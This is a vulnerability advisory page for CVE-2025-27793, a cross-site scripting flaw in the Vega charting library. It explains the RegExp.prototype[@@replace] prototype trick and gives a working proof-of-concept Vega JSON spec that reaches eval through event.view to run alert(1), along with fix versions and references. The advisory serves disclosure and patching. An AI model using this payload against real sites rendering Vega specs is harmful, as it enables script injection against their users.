Vega vulnerable to Cross-site Scripting via RegExp.prototype[@@replace]
Impact
Users running Vega/Vega-lite JSON definitions could run unexpected JavaScript code when drawing graphs, unless the library is used with the vega-interpreter.
Workarounds
- Use
vegawith expression interpreter - Upgrade to a newer Vega version (
5.32.0)
POC Summary
Calling replace with a RegExp-like pattern calls RegExp.prototype[@@replace], which can then call an attacker-controlled exec function.
POC Details
Consider the function call replace('foo', {__proto__: /h/.constructor.prototype, global: false}). Since pattern has RegExp.prototype[@@replace], pattern.exec('foo') winds up being called.
The resulting malicious call looks like this:
replace(<string argument>, {__proto__: /h/.constructor.prototype, exec: <function>, global: false})
Since functions cannot be returned from this, an attacker that wishes to escalate to XSS must abuse event.view to gain access to eval.
Reproduction steps
{"$schema":"https://vega.github.io/schema/vega/v5.json","signals":[{"name":"a","on":[{"events":"body:mousemove{99999}","update":"replace('alert(1)',{__proto__:/h/.constructor.prototype,exec:event.view.eval,global:false})"}]}]}
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
Verweise
- https://github.com/vega/vega/security/advisories/GHSA-963h-3v39-3pqf
- https://nvd.nist.gov/vuln/detail/CVE-2025-27793
- https://github.com/vega/vega/commit/694560c0aa576df8b6c5f0f7d202ac82233e6966
- https://github.com/vega/vega
- https://github.com/vega/vega/releases/tag/v5.32.0
- https://vega.github.io/vega/usage/interpreter
- CVSS-Vektor
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N- Schwäche (CWE)
CWE-79, CWE-87- Plattform
- npm
- Paket
vega, vega-functions- Veröffentlicht
- 27.03.2025
- Aktualisiert
- 11.10.2026 10:22
Quellen und Lizenzen
OSV / GitHub Advisory Database - GHSA-963h-3v39-3pqf - CC BY 4.0
Schwachstellenhistorie: vega
Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 8
- Erste → letzte
- 12.2020 11.2025
- Ohne Fix
- 0
- In Angriffen ausgenutzt
- 0
Verteilung nach Schweregrad
- Hoch 1
- Mittel 6
- Niedrig 1
Veröffentlichungen pro Jahr
- 2020: 1
- 2021: 0
- 2022: 0
- 2023: 3
- 2024: 0
- 2025: 4
- 2026: 0
-
Vega vulnerable to Cross-site Scripting via RegExp.prototype[@@replace] dieser Eintrag
Erkennen Sie Schwachstellen in Ihrer Anwendung
Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.